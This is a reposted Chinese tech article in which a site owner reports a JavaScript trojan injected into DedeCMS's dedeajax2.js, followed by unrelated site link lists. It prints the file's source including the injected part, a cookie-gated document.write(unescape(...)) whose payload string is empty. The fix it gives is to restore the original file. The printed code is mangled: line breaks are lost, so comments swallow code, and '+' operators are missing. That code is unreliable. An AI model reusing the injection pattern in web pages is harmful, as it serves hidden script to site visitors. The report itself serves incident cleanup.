位置: IT常识 - 正文

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

编辑:rootadmin
这阵子我的一个织梦dedecms网站被植入了木马,程序dede。于是我升级到了IE7+全补丁,为了查木马做准备工作,呵呵。

推荐整理分享织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞),希望有所帮助,仅作参考,欢迎阅读内容。

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

文章相关热门搜索词:织梦志玲 舞蹈,织梦志玲 舞蹈,织梦dedecms模板,织梦dedecms开始收割韭菜了,织梦dedecms网站无法访问,织梦映象,织梦dedecms网站无法访问,织梦dedecms网站无法访问,内容如对您有帮助,希望把文章链接给更多的朋友!

结果发现,dedecms织梦ajax2.js被植入了木马。源码如下:

//初始化xmldomfunction InitXDom(){if(DedeXDOM!=null) return;var obj = null;if (typeof(DOMParser) != "undefined") { // Gecko、Mozilla、Firefoxvar parser = new DOMParser();obj = parser.parseFromString(xmlText, "text/xml");} else { // IEtry { obj = new ActiveXObject("MSXML2.DOMDocument");} catch (e) { }if (obj == null) try { obj = new ActiveXObject("Microsoft.XMLDOM"); } catch (e) { }}DedeXDOM = obj;};//以下是被植入木马的部分,乱码都是经由unicode码处理。现在的马夫越来越狡猾了if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() 24*60*60*1000);document.cookie='hello=Yes;path=/;expires=' expires.toGMTString();document.write(unescape(""));}用原版本的dedeajax2覆盖,即可。这个文件,dede的模板都要用到,搜索了,没有发现说明用处。不过建议大家,多注意dedecms的官方补丁,unix服务器的织梦站长,千万别所有文件都是设置,虽然dede在unix的服务器上,设置太过繁琐。

免责

本文链接地址:https://www.jiuchutong.com/zhishi/313335.html 转载请保留说明!

上一篇:最好最实用的织梦二次开发教程(最好最实用的织毛线)

下一篇:经典帝国CMS生成sitemap实现代码分享(经典帝国cms生成器下载)

  • 三星watch4什么时候上市的

    三星watch4什么时候上市的

  • 华为nova4e照相模糊(华为nova4e相机)

    华为nova4e照相模糊(华为nova4e相机)

  • 可以直接与CPU交换信息的存储器是(可以直接与cpu交换信息的储存器是)

    可以直接与CPU交换信息的存储器是(可以直接与cpu交换信息的储存器是)

  • 微信朋友圈的位置怎么设置(微信朋友圈的位置可以改吗)

    微信朋友圈的位置怎么设置(微信朋友圈的位置可以改吗)

  • qq快传为什么连接不上(qq快传为什么老是断开)

    qq快传为什么连接不上(qq快传为什么老是断开)

  • 华为手机屏幕休眠怎么设置(华为手机屏幕休眠是什么意思)

    华为手机屏幕休眠怎么设置(华为手机屏幕休眠是什么意思)

  • 苹果手机怎么设置自己喜欢的来电铃声(苹果手机怎么设置动态壁纸)

    苹果手机怎么设置自己喜欢的来电铃声(苹果手机怎么设置动态壁纸)

  • apple pencil摔了一下会坏吗(apple pencil摔了一下不能写字了)

    apple pencil摔了一下会坏吗(apple pencil摔了一下不能写字了)

  • 华为荣耀9x语音助手怎么唤醒(华为荣耀9x语音助手)

    华为荣耀9x语音助手怎么唤醒(华为荣耀9x语音助手)

  • e-link要不要打开

    e-link要不要打开

  • truetype是什么字体(truetype属于什么字形)

    truetype是什么字体(truetype属于什么字形)

  • 小米智能卡可以卸载吗(小米智能卡可以绑定校园卡吗)

    小米智能卡可以卸载吗(小米智能卡可以绑定校园卡吗)

  • 畅享10plus人脸识别在哪(畅享10plus人脸识别)

    畅享10plus人脸识别在哪(畅享10plus人脸识别)

  • 淘宝一般多久自动收货(淘宝一般多久自动签收)

    淘宝一般多久自动收货(淘宝一般多久自动签收)

  • 苹果x充电是多少w(苹果x充电多少w)

    苹果x充电是多少w(苹果x充电多少w)

  • vivo手机怎么把软件下载到内存卡上(vivo手机怎么把旧手机传到新手机)

    vivo手机怎么把软件下载到内存卡上(vivo手机怎么把旧手机传到新手机)

  • 快手打开相册为什么没有照片(快手打开相册为什么闪退)

    快手打开相册为什么没有照片(快手打开相册为什么闪退)

  • 华为手机hd2什么意思(华为手机 hd2)

    华为手机hd2什么意思(华为手机 hd2)

  • 计算器上onc叫做什么键(计算器上onc叫做什么意思)

    计算器上onc叫做什么键(计算器上onc叫做什么意思)

  • 钉钉在苹果怎么下载不了(钉钉在苹果怎么悬浮桌面)

    钉钉在苹果怎么下载不了(钉钉在苹果怎么悬浮桌面)

  • a2031 a2032 是二代吗(a2031 a2032 是二代有线还是无线)

    a2031 a2032 是二代吗(a2031 a2032 是二代有线还是无线)

  • 华为watch2pro上市时间(华为手表新款watch2pro评测)

    华为watch2pro上市时间(华为手表新款watch2pro评测)

  • 免拼卡在哪里(免拼卡怎么使用步骤)

    免拼卡在哪里(免拼卡怎么使用步骤)

  • 最贵的域名是什么(最贵的域名是什么名字)

    最贵的域名是什么(最贵的域名是什么名字)

  • 股东投入资金大,但不想成为法人
  • 工商年报实缴出资额是实收资本吗
  • 职工福利企业所得税
  • 个体户购买发票需要什么资料
  • 赠与和继承哪个划算
  • 延期缴纳税款会退回吗
  • 政府给的专款专用发票
  • 供应商货款打折分录
  • 以现金形式发工资的说明范文
  • 固定资产房屋原值增加折旧月数怎么算
  • 企业结转已销产品的生产成本
  • 个税手续费返还会计分录
  • 销售退回跨年所得税如何做账?
  • 租赁合同印花税计税依据
  • 发票停票会自动恢复吗
  • 如何计算一般稳定球面腔的主要参量
  • 合伙企业分配比例税法规定
  • 进料加工料件需补税的情况
  • 水利建设专项收入怎么申报不了
  • 自产房产部分出租后的房产税怎么交?
  • 送积分怎么做账
  • win8.1电脑设置在哪里
  • 在window10中可以使用什么窗口
  • 银行承兑汇票质押率90%
  • 刷路由器固件的作用和意义
  • 关闭win10系统更新有什么后果
  • 苹果 macOS 13.3 开发者预览版 Beta 2 发布
  • 股权无偿赠与协议书范本
  • 购入固定资产后发生的员工培训费应计入固定资产的成本
  • 公司报销医疗费的范围
  • 税控设备购买
  • 逾期未收回包装物押金税率
  • 周转材料要计入增值税吗
  • 购买财务软件会有操作流程吗
  • vue get方法
  • 股权投资取得的收入计入什么科目
  • laravel使用
  • 生产成本制造费用怎么算
  • Windows下php+mysql5.7配置教程
  • ThinkPHP中Common/common.php文件常用函数功能分析
  • php测验
  • php simple html dom parser
  • 向梵高致敬油画
  • java单点登录token
  • node.js教程详细
  • 原生php和框架php的区别
  • 帝国cms移动端
  • 投资者投入固定资产的成本,应当按照投资合同
  • 兼职费用怎么入账报销
  • 水利建设专项收入的税率是多少?
  • 退税没有退的部分怎么做账
  • mongodb快速入门
  • 股权激励税务处理方案
  • 使用sqlserver创建数据库和删除数据库的实验总结
  • sql server2005怎么打开
  • 工业企业成本一般占收入的比例
  • 临时工受伤赔偿怎么做账
  • 代理进口的增值税是多少
  • 装修费一定要摊销吗
  • 设备投资要开票吗
  • 销售现金优惠会计分录
  • 已经计提的坏账收回了怎么做
  • 电子发票必须要打印出来才能作为入账依据
  • 职工福利费核算要求
  • 新公司怎样
  • sqlserver数据库和mysql区别
  • XP系统升级WIN7系统
  • 从哪里看windows是多少位的
  • 微软2021年新系统
  • linux 746
  • 批处理修改hosts 加一行
  • apk签名生成器
  • 猫猫的游戏
  • javascript中cookie
  • javascript 进阶篇2 CSS XML学习
  • python动态加载py
  • Python的SQLalchemy模块连接与操作MySQL的基础示例
  • 增值额未超过扣除项目金额20%是什么意思
  • 贵阳地铁报销凭证
  • 江苏省高中教师资格证考试科目
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设